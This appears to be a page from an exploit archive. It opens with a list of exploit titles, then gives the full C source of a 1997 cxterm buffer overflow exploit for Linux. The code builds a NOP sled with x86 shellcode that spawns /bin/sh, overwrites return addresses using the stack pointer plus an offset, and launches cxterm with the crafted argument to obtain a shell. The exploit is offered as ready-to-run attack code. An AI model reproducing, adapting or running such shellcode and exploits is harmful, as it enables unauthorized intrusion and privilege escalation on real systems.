
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
68 lines
1.7 KiB
C
Executable file
68 lines
1.7 KiB
C
Executable file
/*
|
|
|
|
cxterm buffer overflow exploit for Linux. This code is tested on
|
|
both Slackware 3.1 and 3.2.
|
|
|
|
Ming Zhang
|
|
mzhang@softcom.net
|
|
*/
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <fcntl.h>
|
|
|
|
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
|
|
#define BUFFER_SIZE 1024
|
|
#define DEFAULT_OFFSET 50
|
|
|
|
#define NOP_SIZE 1
|
|
char nop[] = "\x90";
|
|
char shellcode[] =
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
|
|
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
|
|
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
|
|
|
unsigned long get_sp(void) {
|
|
__asm__("movl %esp,%eax");
|
|
}
|
|
|
|
void main(int argc,char **argv)
|
|
{
|
|
char *buff = NULL;
|
|
unsigned long *addr_ptr = NULL;
|
|
char *ptr = NULL;
|
|
int i,OffSet = DEFAULT_OFFSET;
|
|
|
|
/* use a different offset if you find this program doesn't do the job */
|
|
if (argc>1) OffSet = atoi(argv[1]);
|
|
|
|
buff = malloc(2048);
|
|
if(!buff)
|
|
{
|
|
printf("Buy more RAM!\n");
|
|
exit(0);
|
|
}
|
|
ptr = buff;
|
|
|
|
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
|
|
i+=NOP_SIZE) {
|
|
memcpy (ptr,nop,NOP_SIZE);
|
|
ptr+=NOP_SIZE;
|
|
}
|
|
|
|
for(i=0;i < strlen(shellcode);i++)
|
|
*(ptr++) = shellcode[i];
|
|
|
|
addr_ptr = (long *)ptr;
|
|
for(i=0;i < (8/4);i++)
|
|
*(addr_ptr++) = get_sp() + OffSet;
|
|
ptr = (char *)addr_ptr;
|
|
*ptr = 0;
|
|
(void) fprintf(stderr,
|
|
"This bug is discovered by Ming Zhang
|
|
(mzhang@softcom.net)\n");
|
|
/* Don't need to set ur DISPLAY to exploit this one, cool huh? */
|
|
execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
|
|
}
|
|
|
|
// milw0rm.com [1997-05-14]
|